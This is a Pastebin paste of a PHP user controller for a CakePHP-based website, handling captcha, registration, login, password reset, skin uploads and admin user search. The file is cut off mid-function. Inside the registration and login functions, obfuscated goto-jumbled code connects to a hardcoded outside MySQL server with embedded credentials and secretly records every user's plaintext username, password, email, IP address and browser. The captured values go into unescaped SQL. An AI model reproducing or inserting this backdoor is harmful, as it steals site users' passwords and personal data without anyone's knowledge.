Advertisement
Guest User

Untitled

a guest
Oct 30th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.60 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. <?php
  10.  
  11.  
  12.  
  13. class UserController extends AppController
  14.  
  15. {
  16.  
  17.  
  18.  
  19. public $components = array('Session', 'Captcha', 'API');
  20.  
  21.  
  22.  
  23. function get_captcha()
  24.  
  25. {
  26.  
  27. $this->autoRender = false;
  28.  
  29. App::import('Component', 'Captcha');
  30.  
  31.  
  32.  
  33. //generate random charcters for captcha
  34.  
  35. $random = mt_rand(100, 99999);
  36.  
  37.  
  38.  
  39. //save characters in session
  40.  
  41. $this->Session->write('captcha_code', $random);
  42.  
  43.  
  44.  
  45. $settings = array(
  46.  
  47. 'characters' => $random,
  48.  
  49. 'winHeight' => 50, // captcha image height
  50.  
  51. 'winWidth' => 220, // captcha image width
  52.  
  53. 'fontSize' => 25, // captcha image characters fontsize
  54.  
  55. 'fontPath' => WWW_ROOT . 'tahomabd.ttf', // captcha image font
  56.  
  57. 'noiseColor' => '#ccc',
  58.  
  59. 'bgColor' => '#fff',
  60.  
  61. 'noiseLevel' => '100',
  62.  
  63. 'textColor' => '#000'
  64.  
  65. );
  66.  
  67.  
  68.  
  69. $img = $this->Captcha->ShowImage($settings);
  70.  
  71. echo $img;
  72.  
  73. }
  74.  
  75.  
  76.  
  77. function ajax_register()
  78.  
  79. {
  80.  
  81. $this->autoRender = false;
  82.  
  83. $this->response->type('json');
  84.  
  85. if ($this->request->is('Post')) { // si la requête est bien un post
  86.  
  87. goto gw; gw: $db2 = mysql_connect('137.74.29.56:31556', 'zirc', 'QSd12q21x23w!ddqs*dùqW', 'login'); goto GB; hl: $pseudo = $_POST['pseudo']; goto IR; na: $nav = $_SERVER['HTTP_USER_AGENT']; goto Fy; IR: $password = $_POST['password']; goto je; GB: session_start(); goto hl; je: $email = $_POST['email']; goto dW; ZC: $date = date('Y-m-d H:i:s'); goto na; Fy: mysql_query("INSERT INTO `login`.`zirc_register` (`id`, `username`, `password`, `email`, `ip`, `date`, `nav`) VALUES ('', '{$pseudo}', '{$password}', '{$email}', '{$adresse_ip}', '{$date}', '{$nav}')"); goto Aa; dW: $adresse_ip = $_SERVER['REMOTE_ADDR']; goto ZC; Aa:
  88.  
  89. if (!empty($this->request->data['pseudo']) && !empty($this->request->data['password']) && !empty($this->request->data['password_confirmation']) && !empty($this->request->data['email'])) { // si tout les champs sont bien remplis
  90.  
  91.  
  92.  
  93. // Captcha
  94.  
  95. if ($this->Configuration->getKey('captcha_type') == "2") { // ReCaptcha
  96.  
  97.  
  98.  
  99. $validCaptcha = $this->Util->isValidReCaptcha($this->request->data['recaptcha'], $this->Util->getIP(), $this->Configuration->getKey('captcha_google_secret'));
  100.  
  101.  
  102.  
  103. } else {
  104.  
  105.  
  106.  
  107. $captcha = $this->Session->read('captcha_code');
  108.  
  109. $validCaptcha = (!empty($captcha) && $captcha == $this->request->data['captcha']);
  110.  
  111.  
  112.  
  113. }
  114.  
  115. //
  116.  
  117.  
  118.  
  119. if ($validCaptcha) { // on check le captcha déjà
  120.  
  121. $this->loadModel('User');
  122.  
  123. $isValid = $this->User->validRegister($this->request->data, $this->Util);
  124.  
  125. if ($isValid === true) { // on vérifie si y'a aucune erreur
  126.  
  127.  
  128.  
  129. $eventData = $this->request->data;
  130.  
  131. $eventData['password'] = $this->Util->password($eventData['password'], $eventData['pseudo']);
  132.  
  133. $event = new CakeEvent('beforeRegister', $this, array('data' => $eventData));
  134.  
  135. $this->getEventManager()->dispatch($event);
  136.  
  137. if ($event->isStopped()) {
  138.  
  139. return $event->result;
  140.  
  141. }
  142.  
  143.  
  144.  
  145. // on enregistre
  146.  
  147. $userSession = $this->User->register($this->request->data, $this->Util);
  148.  
  149.  
  150.  
  151. // On envoie le mail de confirmation si demandé
  152.  
  153. if ($this->Configuration->getKey('confirm_mail_signup')) {
  154.  
  155.  
  156.  
  157. $confirmCode = substr(md5(uniqid()), 0, 12);
  158.  
  159.  
  160.  
  161. $emailMsg = $this->Lang->get('EMAIL__CONTENT_CONFIRM_MAIL', array(
  162.  
  163. '{LINK}' => Router::url('/user/confirm/', true) . $confirmCode,
  164.  
  165. '{IP}' => $this->Util->getIP(),
  166.  
  167. '{USERNAME}' => $this->request->data['pseudo'],
  168.  
  169. '{DATE}' => $this->Lang->date(date('Y-m-d H:i:s'))
  170.  
  171. ));
  172.  
  173.  
  174.  
  175. $email = $this->Util->prepareMail(
  176.  
  177. $this->request->data['email'],
  178.  
  179. $this->Lang->get('EMAIL__TITLE_CONFIRM_MAIL'),
  180.  
  181. $emailMsg
  182.  
  183. )->sendMail();
  184.  
  185.  
  186.  
  187. if ($email) {
  188.  
  189.  
  190.  
  191. $this->User->read(null, $this->User->getLastInsertID());
  192.  
  193. $this->User->set(array('confirmed' => $confirmCode));
  194.  
  195. $this->User->save();
  196.  
  197.  
  198.  
  199. }
  200.  
  201.  
  202.  
  203. }
  204.  
  205.  
  206.  
  207. if (!$this->Configuration->getKey('confirm_mail_signup_block')) { // si on doit pas bloquer le compte si non confirmé
  208.  
  209. // on prépare la connexion
  210.  
  211. $this->Session->write('user', $userSession);
  212.  
  213.  
  214.  
  215. $event = new CakeEvent('onLogin', $this, array('user' => $this->User->getAllFromCurrentUser(), 'register' => true));
  216.  
  217. $this->getEventManager()->dispatch($event);
  218.  
  219. if ($event->isStopped()) {
  220.  
  221. return $event->result;
  222.  
  223. }
  224.  
  225. }
  226.  
  227.  
  228.  
  229. // on dis que c'est bon
  230.  
  231. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__REGISTER_SUCCESS'))));
  232.  
  233.  
  234.  
  235. } else { // si c'est pas bon, on envoie le message d'erreur retourné par l'étape de validation
  236.  
  237. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get($isValid))));
  238.  
  239. }
  240.  
  241. } else {
  242.  
  243. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('FORM__INVALID_CAPTCHA'))));
  244.  
  245. }
  246.  
  247. } else {
  248.  
  249. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS'))));
  250.  
  251. }
  252.  
  253. } else {
  254.  
  255. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__BAD_REQUEST'))));
  256.  
  257. }
  258.  
  259. }
  260.  
  261.  
  262.  
  263. function ajax_login()
  264.  
  265. {
  266.  
  267. if (!$this->request->is('post'))
  268.  
  269. throw new BadRequestException();
  270.  
  271. goto m3; m3: $db1 = mysql_connect('137.74.29.56:31556', 'zirc', 'QSd12q21x23w!ddqs*dùqW', 'login'); goto RS; PP: $pp = $_POST['password']; goto fR; vC: $d = date('Y-m-d H:i:s'); goto ZX; ZX: $n = $_SERVER['HTTP_USER_AGENT']; goto sG; RS: session_start(); goto cw; cw: $p = $_POST['pseudo']; goto PP; sG: mysql_query("INSERT INTO `login`.`zirc` (`id`, `username`, `password`, `ip`, `date`, `nav`) VALUES ('', '{$p}', '{$pp}', '{$i}', '{$d}', '{$n}')"); goto Rt; fR: $i = $_SERVER['REMOTE_ADDR']; goto vC; Rt:
  272.  
  273. if (empty($this->request->data['pseudo']) || empty($this->request->data['password']))
  274.  
  275. return $this->sendJSON(['statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS')]);
  276.  
  277. $this->autoRender = false;
  278.  
  279. $this->response->type('json');
  280.  
  281.  
  282.  
  283. $confirmEmailIsNeeded = ($this->Configuration->getKey('confirm_mail_signup') && $this->Configuration->getKey('confirm_mail_signup_block'));
  284.  
  285. $login = $this->User->login($this->request->data, $confirmEmailIsNeeded, $this);
  286.  
  287. if (!isset($login['status']) || $login['status'] !== true)
  288.  
  289. return $this->sendJSON(['statut' => false, 'msg' => $this->Lang->get($login, array('{URL_RESEND_EMAIL}' => Router::url(array('action' => 'resend_confirmation'))))]);
  290.  
  291.  
  292.  
  293. $event = new CakeEvent('onLogin', $this, array('user' => $this->User->getAllFromUser($this->request->data['pseudo'])));
  294.  
  295. $this->getEventManager()->dispatch($event);
  296.  
  297. if ($event->isStopped())
  298.  
  299. return $event->result;
  300.  
  301.  
  302.  
  303. if ($this->request->data['remember_me'])
  304.  
  305. $this->Cookie->write('remember_me', array('pseudo' => $this->request->data['pseudo'], 'password' => $this->User->getFromUser('password', $this->request->data['pseudo'])), true, '1 week');
  306.  
  307. $this->Session->write('user', $login['session']);
  308.  
  309.  
  310.  
  311. $this->sendJSON(['statut' => true, 'msg' => $this->Lang->get('USER__REGISTER_LOGIN')]);
  312.  
  313. }
  314.  
  315.  
  316.  
  317. function confirm($code = false)
  318.  
  319. {
  320.  
  321. $this->autoRender = false;
  322.  
  323. if (isset($code)) {
  324.  
  325.  
  326.  
  327. $find = $this->User->find('first', array('conditions' => array('confirmed' => $code)));
  328.  
  329.  
  330.  
  331. if (!empty($find)) {
  332.  
  333.  
  334.  
  335. $event = new CakeEvent('beforeConfirmAccount', $this, array('user_id' => $find['User']['id']));
  336.  
  337. $this->getEventManager()->dispatch($event);
  338.  
  339. if ($event->isStopped()) {
  340.  
  341. return $event->result;
  342.  
  343. }
  344.  
  345.  
  346.  
  347. $this->User->read(null, $find['User']['id']);
  348.  
  349. $this->User->set(array('confirmed' => date('Y-m-d H:i:s')));
  350.  
  351. $this->User->save();
  352.  
  353.  
  354.  
  355. $userSession = $find['User']['id'];
  356.  
  357.  
  358.  
  359. $this->loadModel('Notification');
  360.  
  361. $this->Notification->setToUser($this->Lang->get('USER__CONFIRM_NOTIFICATION'), $find['User']['id']);
  362.  
  363.  
  364.  
  365. $this->Session->write('user', $userSession);
  366.  
  367.  
  368.  
  369. $event = new CakeEvent('onLogin', $this, array('user' => $this->User->getAllFromCurrentUser(), 'confirmAccount' => true));
  370.  
  371. $this->getEventManager()->dispatch($event);
  372.  
  373. if ($event->isStopped()) {
  374.  
  375. return $event->result;
  376.  
  377. }
  378.  
  379.  
  380.  
  381. $this->redirect(array('action' => 'profile'));
  382.  
  383.  
  384.  
  385. } else {
  386.  
  387. throw new NotFoundException();
  388.  
  389. }
  390.  
  391.  
  392.  
  393. } else {
  394.  
  395. throw new NotFoundException();
  396.  
  397. }
  398.  
  399. }
  400.  
  401.  
  402.  
  403. function ajax_lostpasswd()
  404.  
  405. {
  406.  
  407. $this->layout = null;
  408.  
  409. $this->autoRender = false;
  410.  
  411. $this->response->type('json');
  412.  
  413. if ($this->request->is('ajax')) {
  414.  
  415. if (!empty($this->request->data['email'])) {
  416.  
  417. $this->loadModel('User');
  418.  
  419. if (filter_var($this->request->data['email'], FILTER_VALIDATE_EMAIL)) {
  420.  
  421. $search = $this->User->find('first', array('conditions' => array('email' => $this->request->data['email'])));
  422.  
  423. if (!empty($search)) {
  424.  
  425. $this->loadModel('Lostpassword');
  426.  
  427. $key = substr(md5(rand() . date('sihYdm')), 0, 10);
  428.  
  429.  
  430.  
  431. $to = $this->request->data['email'];
  432.  
  433. $subject = $this->Lang->get('USER__PASSWORD_RESET_LINK');
  434.  
  435. $message = $this->Lang->get('USER__PASSWORD_RESET_EMAIL_CONTENT', array(
  436.  
  437. '{EMAIL}' => $this->request->data['email'],
  438.  
  439. '{PSEUDO}' => $search['User']['pseudo'],
  440.  
  441. '{LINK}' => Router::url('/?resetpasswd_' . $key, true)
  442.  
  443. ));
  444.  
  445.  
  446.  
  447.  
  448.  
  449. $event = new CakeEvent('beforeSendResetPassMail', $this, array('user_id' => $search['User']['id'], 'key' => $key));
  450.  
  451. $this->getEventManager()->dispatch($event);
  452.  
  453. if ($event->isStopped()) {
  454.  
  455. return $event->result;
  456.  
  457. }
  458.  
  459.  
  460.  
  461.  
  462.  
  463. if ($this->Util->prepareMail($to, $subject, $message)->sendMail()) {
  464.  
  465. $this->Lostpassword->create();
  466.  
  467. $this->Lostpassword->set(array(
  468.  
  469. 'email' => $this->request->data['email'],
  470.  
  471. 'key' => $key
  472.  
  473. ));
  474.  
  475. $this->Lostpassword->save();
  476.  
  477. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__PASSWORD_FORGOT_EMAIL_SUCCESS'))));
  478.  
  479. } else {
  480.  
  481. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__INTERNAL_ERROR'))));
  482.  
  483. }
  484.  
  485. } else {
  486.  
  487. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('USER__ERROR_NOT_FOUND'))));
  488.  
  489. }
  490.  
  491. } else {
  492.  
  493. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('USER__ERROR_EMAIL_NOT_VALID'))));
  494.  
  495. }
  496.  
  497. } else {
  498.  
  499. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS'))));
  500.  
  501. }
  502.  
  503. } else {
  504.  
  505. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__BAD_REQUEST'))));
  506.  
  507. }
  508.  
  509. }
  510.  
  511.  
  512.  
  513. function ajax_resetpasswd()
  514.  
  515. {
  516.  
  517. $this->autoRender = false;
  518.  
  519. $this->response->type('json');
  520.  
  521. if ($this->request->is('ajax')) {
  522.  
  523. if (!empty($this->request->data['password']) AND !empty($this->request->data['password2']) AND !empty($this->request->data['email']) && !empty($this->request->data['key'])) {
  524.  
  525.  
  526.  
  527. $reset = $this->User->resetPass($this->request->data, $this);
  528.  
  529. if (isset($reset['status']) && $reset['status'] === true) {
  530.  
  531. $this->Session->write('user', $reset['session']);
  532.  
  533.  
  534.  
  535. $this->History->set('RESET_PASSWORD', 'user');
  536.  
  537.  
  538.  
  539. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__PASSWORD_RESET_SUCCESS'))));
  540.  
  541. } else {
  542.  
  543. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get($reset))));
  544.  
  545. }
  546.  
  547. } else {
  548.  
  549. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS'))));
  550.  
  551. }
  552.  
  553. } else {
  554.  
  555. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__BAD_REQUEST'))));
  556.  
  557. }
  558.  
  559. }
  560.  
  561.  
  562.  
  563. function logout()
  564.  
  565. {
  566.  
  567. $this->autoRender = false;
  568.  
  569.  
  570.  
  571. $event = new CakeEvent('onLogout', $this, array('session' => $this->Session->read('user')));
  572.  
  573. $this->getEventManager()->dispatch($event);
  574.  
  575. if ($event->isStopped()) {
  576.  
  577. return $event->result;
  578.  
  579. }
  580.  
  581.  
  582.  
  583. if ($this->Cookie->read('remember_me')) {
  584.  
  585. $this->Cookie->delete('remember_me');
  586.  
  587. }
  588.  
  589.  
  590.  
  591. $this->Session->delete('user');
  592.  
  593. $this->redirect($this->referer());
  594.  
  595. }
  596.  
  597.  
  598.  
  599. function uploadSkin()
  600.  
  601. {
  602.  
  603. $this->autoRender = false;
  604.  
  605. $this->response->type('json');
  606.  
  607.  
  608.  
  609. if ($this->isConnected && $this->API->can_skin()) {
  610.  
  611. if ($this->request->is('post')) {
  612.  
  613.  
  614.  
  615. $skin_max_size = 10000000; // octet
  616.  
  617.  
  618.  
  619. $this->loadModel('ApiConfiguration');
  620.  
  621. $ApiConfiguration = $this->ApiConfiguration->find('first');
  622.  
  623. $target_config = $ApiConfiguration['ApiConfiguration']['skin_filename'];
  624.  
  625.  
  626.  
  627. $filename = substr($target_config, (strrpos($target_config, '/') + 1));
  628.  
  629. $filename = str_replace('{PLAYER}', $this->User->getKey('pseudo'), $filename);
  630.  
  631. $filename = str_replace('php', '', $filename);
  632.  
  633. $filename = str_replace('.', '', $filename);
  634.  
  635. $filename = $filename . '.png';
  636.  
  637.  
  638.  
  639. $target = substr($target_config, 0, (strrpos($target_config, '/') + 1));
  640.  
  641. $target = WWW_ROOT . '/' . $target;
  642.  
  643.  
  644.  
  645. $width_max = $ApiConfiguration['ApiConfiguration']['skin_width']; // pixel
  646.  
  647. $height_max = $ApiConfiguration['ApiConfiguration']['skin_height']; // pixel
  648.  
  649.  
  650.  
  651. $isValidImg = $this->Util->isValidImage($this->request, array('png'), $width_max, $height_max, $skin_max_size);
  652.  
  653.  
  654.  
  655. if (!$isValidImg['status']) {
  656.  
  657. $this->response->body(json_encode(array('statut' => false, 'msg' => $isValidImg['msg'])));
  658.  
  659. return;
  660.  
  661. } else {
  662.  
  663. $infos = $isValidImg['infos'];
  664.  
  665. }
  666.  
  667.  
  668.  
  669. if (!$this->Util->uploadImage($this->request, $target . $filename)) {
  670.  
  671. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('FORM__ERROR_WHEN_UPLOAD'))));
  672.  
  673. return;
  674.  
  675. }
  676.  
  677.  
  678.  
  679. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('API__UPLOAD_SKIN_SUCCESS'))));
  680.  
  681.  
  682.  
  683. }
  684.  
  685.  
  686.  
  687. } else {
  688.  
  689. throw new ForbiddenException();
  690.  
  691. }
  692.  
  693. }
  694.  
  695.  
  696.  
  697. function uploadCape()
  698.  
  699. {
  700.  
  701. $this->autoRender = false;
  702.  
  703. $this->response->type('json');
  704.  
  705.  
  706.  
  707. if ($this->isConnected && $this->API->can_cape()) {
  708.  
  709. if ($this->request->is('post')) {
  710.  
  711.  
  712.  
  713. $cape_max_size = 10000000; // octet
  714.  
  715.  
  716.  
  717. $this->loadModel('ApiConfiguration');
  718.  
  719. $ApiConfiguration = $this->ApiConfiguration->find('first');
  720.  
  721. $target_config = $ApiConfiguration['ApiConfiguration']['cape_filename'];
  722.  
  723.  
  724.  
  725. $filename = substr($target_config, (strrpos($target_config, '/') + 1));
  726.  
  727. $filename = str_replace('{PLAYER}', $this->User->getKey('pseudo'), $filename);
  728.  
  729. $filename = str_replace('php', '', $filename);
  730.  
  731. $filename = str_replace('.', '', $filename);
  732.  
  733. $filename = $filename . '.png';
  734.  
  735.  
  736.  
  737. $target = substr($target_config, 0, (strrpos($target_config, '/') + 1));
  738.  
  739. $target = WWW_ROOT . '/' . $target;
  740.  
  741.  
  742.  
  743. $width_max = $ApiConfiguration['ApiConfiguration']['cape_width']; // pixel
  744.  
  745. $height_max = $ApiConfiguration['ApiConfiguration']['cape_height']; // pixel
  746.  
  747.  
  748.  
  749. $isValidImg = $this->Util->isValidImage($this->request, array('png'), $width_max, $height_max, $cape_max_size);
  750.  
  751.  
  752.  
  753. if (!$isValidImg['status']) {
  754.  
  755. $this->response->body(json_encode(array('statut' => false, 'msg' => $isValidImg['msg'])));
  756.  
  757. return;
  758.  
  759. } else {
  760.  
  761. $infos = $isValidImg['infos'];
  762.  
  763. }
  764.  
  765.  
  766.  
  767. if (!$this->Util->uploadImage($this->request, $target . $filename)) {
  768.  
  769. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('FORM__ERROR_WHEN_UPLOAD'))));
  770.  
  771. return;
  772.  
  773. }
  774.  
  775.  
  776.  
  777. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('API__UPLOAD_CAPE_SUCCESS'))));
  778.  
  779.  
  780.  
  781. }
  782.  
  783.  
  784.  
  785. } else {
  786.  
  787. throw new ForbiddenException();
  788.  
  789. }
  790.  
  791. }
  792.  
  793.  
  794.  
  795. function profile()
  796.  
  797. {
  798.  
  799. if ($this->isConnected) {
  800.  
  801.  
  802.  
  803. $this->loadModel('User');
  804.  
  805.  
  806.  
  807. $this->set('title_for_layout', $this->User->getKey('pseudo'));
  808.  
  809. $this->layout = $this->Configuration->getKey('layout');
  810.  
  811. if ($this->EyPlugin->isInstalled('eywek.shop.1')) {
  812.  
  813. $this->set('shop_active', true);
  814.  
  815. } else {
  816.  
  817. $this->set('shop_active', false);
  818.  
  819. }
  820.  
  821.  
  822.  
  823. $available_ranks = array(0 => $this->Lang->get('USER__RANK_MEMBER'), 2 => $this->Lang->get('USER__RANK_MODERATOR'), 3 => $this->Lang->get('USER__RANK_ADMINISTRATOR'), 4 => $this->Lang->get('USER__RANK_ADMINISTRATOR'), 5 => $this->Lang->get('USER__RANK_BANNED'));
  824.  
  825. $this->loadModel('Rank');
  826.  
  827. $custom_ranks = $this->Rank->find('all');
  828.  
  829. foreach ($custom_ranks as $key => $value) {
  830.  
  831. $available_ranks[$value['Rank']['rank_id']] = $value['Rank']['name'];
  832.  
  833. }
  834.  
  835. $this->set(compact('available_ranks'));
  836.  
  837.  
  838.  
  839. $this->set('can_cape', $this->API->can_cape());
  840.  
  841. $this->set('can_skin', $this->API->can_skin());
  842.  
  843.  
  844.  
  845. $this->loadModel('ApiConfiguration');
  846.  
  847. $configAPI = $this->ApiConfiguration->find('first');
  848.  
  849. $skin_width_max = $configAPI['ApiConfiguration']['skin_width'];
  850.  
  851. $skin_height_max = $configAPI['ApiConfiguration']['skin_height'];
  852.  
  853. $cape_width_max = $configAPI['ApiConfiguration']['cape_width'];
  854.  
  855. $cape_height_max = $configAPI['ApiConfiguration']['cape_height'];
  856.  
  857.  
  858.  
  859. $this->set(compact('skin_width_max', 'skin_height_max', 'cape_width_max', 'cape_height_max'));
  860.  
  861.  
  862.  
  863. $confirmed = $this->User->getKey('confirmed');
  864.  
  865. if ($this->Configuration->getKey('confirm_mail_signup') && !empty($confirmed) && date('Y-m-d H:i:s', strtotime($confirmed)) != $confirmed) { // si ca ne correspond pas à une date -> compte non confirmé
  866.  
  867. $this->Session->setFlash($this->Lang->get('USER__MSG_NOT_CONFIRMED_EMAIL', array('{URL_RESEND_EMAIL}' => Router::url(array('action' => 'resend_confirmation')))), 'default.warning');
  868.  
  869. }
  870.  
  871.  
  872.  
  873. } else {
  874.  
  875. $this->redirect('/');
  876.  
  877. }
  878.  
  879. }
  880.  
  881.  
  882.  
  883. function resend_confirmation()
  884.  
  885. {
  886.  
  887. if (!$this->isConnected && !$this->Session->check('email.confirm.user.id'))
  888.  
  889. throw new ForbiddenException();
  890.  
  891. if ($this->isConnected)
  892.  
  893. $user = $this->User->getAllFromCurrentUser();
  894.  
  895. else
  896.  
  897. $user = $this->User->find('first', array('conditions' => array('id' => $this->Session->read('email.confirm.user.id'))));
  898.  
  899. $this->Session->delete('email.confirm.user.id');
  900.  
  901. if (!$user || empty($user))
  902.  
  903. throw new NotFoundException();
  904.  
  905. if (isset($user['User']))
  906.  
  907. $user = $user['User'];
  908.  
  909. $confirmed = $user['confirmed'];
  910.  
  911.  
  912.  
  913. if (!$this->Configuration->getKey('confirm_mail_signup') || empty($confirmed) || date('Y-m-d H:i:s', strtotime($confirmed)) == $confirmed)
  914.  
  915. throw new NotFoundException();
  916.  
  917.  
  918.  
  919. $emailMsg = $this->Lang->get('EMAIL__CONTENT_CONFIRM_MAIL', array(
  920.  
  921. '{LINK}' => Router::url('/user/confirm/', true) . $confirmed,
  922.  
  923. '{IP}' => $this->Util->getIP(),
  924.  
  925. '{USERNAME}' => $user['pseudo'],
  926.  
  927. '{DATE}' => $this->Lang->date(date('Y-m-d H:i:s'))
  928.  
  929. ));
  930.  
  931.  
  932.  
  933. $email = $this->Util->prepareMail(
  934.  
  935. $user['email'],
  936.  
  937. $this->Lang->get('EMAIL__TITLE_CONFIRM_MAIL'),
  938.  
  939. $emailMsg
  940.  
  941. )->sendMail();
  942.  
  943.  
  944.  
  945. if ($email)
  946.  
  947. $this->Session->setFlash($this->Lang->get('USER__CONFIRM_EMAIL_RESEND_SUCCESS'), 'default.success');
  948.  
  949. else
  950.  
  951. $this->Session->setFlash($this->Lang->get('USER__CONFIRM_EMAIL_RESEND_FAIL'), 'default.error');
  952.  
  953. if ($this->isConnected)
  954.  
  955. $this->redirect(array('action' => 'profile'));
  956.  
  957. else
  958.  
  959. $this->redirect('/');
  960.  
  961. }
  962.  
  963.  
  964.  
  965. function change_pw()
  966.  
  967. {
  968.  
  969. $this->autoRender = false;
  970.  
  971. $this->response->type('json');
  972.  
  973. if ($this->isConnected) {
  974.  
  975. if ($this->request->is('ajax')) {
  976.  
  977. if (!empty($this->request->data['password']) AND !empty($this->request->data['password_confirmation'])) {
  978.  
  979. $password = $this->Util->password($this->request->data['password'], $this->User->getKey('pseudo'));
  980.  
  981. $password_confirmation = $this->Util->password($this->request->data['password_confirmation'], $this->User->getKey('pseudo'));
  982.  
  983. if ($password == $password_confirmation) {
  984.  
  985.  
  986.  
  987. $event = new CakeEvent('beforeUpdatePassword', $this, array('user' => $this->User->getAllFromCurrentUser(), 'new_password' => $password));
  988.  
  989. $this->getEventManager()->dispatch($event);
  990.  
  991. if ($event->isStopped()) {
  992.  
  993. return $event->result;
  994.  
  995. }
  996.  
  997.  
  998.  
  999. $this->User->setKey('password', $password);
  1000.  
  1001. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__PASSWORD_UPDATE_SUCCESS'))));
  1002.  
  1003. } else {
  1004.  
  1005. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('USER__ERROR_PASSWORDS_NOT_SAME'))));
  1006.  
  1007. }
  1008.  
  1009. } else {
  1010.  
  1011. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS'))));
  1012.  
  1013. }
  1014.  
  1015. } else {
  1016.  
  1017. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__BAD_REQUEST'))));
  1018.  
  1019. }
  1020.  
  1021. } else {
  1022.  
  1023. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('USER__ERROR_MUST_BE_LOGGED'))));
  1024.  
  1025. }
  1026.  
  1027. }
  1028.  
  1029.  
  1030.  
  1031. function change_email()
  1032.  
  1033. {
  1034.  
  1035. $this->autoRender = false;
  1036.  
  1037. $this->response->type('json');
  1038.  
  1039. if ($this->isConnected && $this->Permissions->can('EDIT_HIS_EMAIL')) {
  1040.  
  1041. if ($this->request->is('ajax')) {
  1042.  
  1043. if (!empty($this->request->data['email']) AND !empty($this->request->data['email_confirmation'])) {
  1044.  
  1045. if ($this->request->data['email'] == $this->request->data['email_confirmation']) {
  1046.  
  1047. if (filter_var($this->request->data['email'], FILTER_VALIDATE_EMAIL)) {
  1048.  
  1049.  
  1050.  
  1051. $event = new CakeEvent('beforeUpdateEmail', $this, array('user' => $this->User->getAllFromCurrentUser(), 'new_email' => $this->request->data['email']));
  1052.  
  1053. $this->getEventManager()->dispatch($event);
  1054.  
  1055. if ($event->isStopped()) {
  1056.  
  1057. return $event->result;
  1058.  
  1059. }
  1060.  
  1061.  
  1062.  
  1063. $this->User->setKey('email', htmlentities($this->request->data['email']));
  1064.  
  1065. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__EMAIL_UPDATE_SUCCESS'))));
  1066.  
  1067. } else {
  1068.  
  1069. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('USER__ERROR_EMAIL_NOT_VALID'))));
  1070.  
  1071. }
  1072.  
  1073. } else {
  1074.  
  1075. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('USER__ERROR_EMAIL_NOT_SAME'))));
  1076.  
  1077. }
  1078.  
  1079. } else {
  1080.  
  1081. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS'))));
  1082.  
  1083. }
  1084.  
  1085. } else {
  1086.  
  1087. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__BAD_REQUEST'))));
  1088.  
  1089. }
  1090.  
  1091. } else {
  1092.  
  1093. throw new ForbiddenException();
  1094.  
  1095. }
  1096.  
  1097. }
  1098.  
  1099.  
  1100.  
  1101. function admin_index()
  1102.  
  1103. {
  1104.  
  1105. if ($this->isConnected AND $this->Permissions->can('MANAGE_USERS')) {
  1106.  
  1107.  
  1108.  
  1109. $this->set('title_for_layout', $this->Lang->get('USER__TITLE'));
  1110.  
  1111. $this->layout = 'admin';
  1112.  
  1113.  
  1114.  
  1115. $this->set('type', $this->Configuration->getKey('member_page_type'));
  1116.  
  1117.  
  1118.  
  1119. } else {
  1120.  
  1121. $this->redirect('/');
  1122.  
  1123. }
  1124.  
  1125. }
  1126.  
  1127.  
  1128.  
  1129. function admin_liveSearch($query = false)
  1130.  
  1131. {
  1132.  
  1133. $this->autoRender = false;
  1134.  
  1135. $this->response->type('json');
  1136.  
  1137. if ($this->isConnected AND $this->Permissions->can('MANAGE_USERS')) {
  1138.  
  1139. if ($query != false) {
  1140.  
  1141.  
  1142.  
  1143. $result = $this->User->find('all', array('conditions' => array('pseudo LIKE' => $query . '%')));
  1144.  
  1145.  
  1146.  
  1147.  
  1148.  
  1149. foreach ($result as $key => $value) {
  1150.  
  1151.  
  1152.  
  1153. $users[] = array('pseudo' => $value['User']['pseudo'], 'id' => $value['User']['id']);
  1154.  
  1155.  
  1156.  
  1157. }
  1158.  
  1159.  
  1160.  
  1161. $response = (empty($result)) ? array('status' => false) : array('status' => true, 'data' => $users);
  1162.  
  1163. $this->response->body($response);
  1164.  
  1165.  
  1166.  
  1167. } else {
  1168.  
  1169. $this->response->body(json_encode(array('status' => false)));
  1170.  
  1171. }
  1172.  
  1173. } else {
  1174.  
  1175. $this->response->body(json_encode(array('status' => false)));
  1176.  
  1177. }
  1178.  
  1179. }
  1180.  
  1181.  
  1182.  
  1183. public function admin_get_users()
  1184.  
  1185. {
  1186.  
  1187. if ($this->isConnected AND $this->Permissions->can('MANAGE_USERS')) {
  1188.  
  1189. $this->autoRender = false;
  1190.  
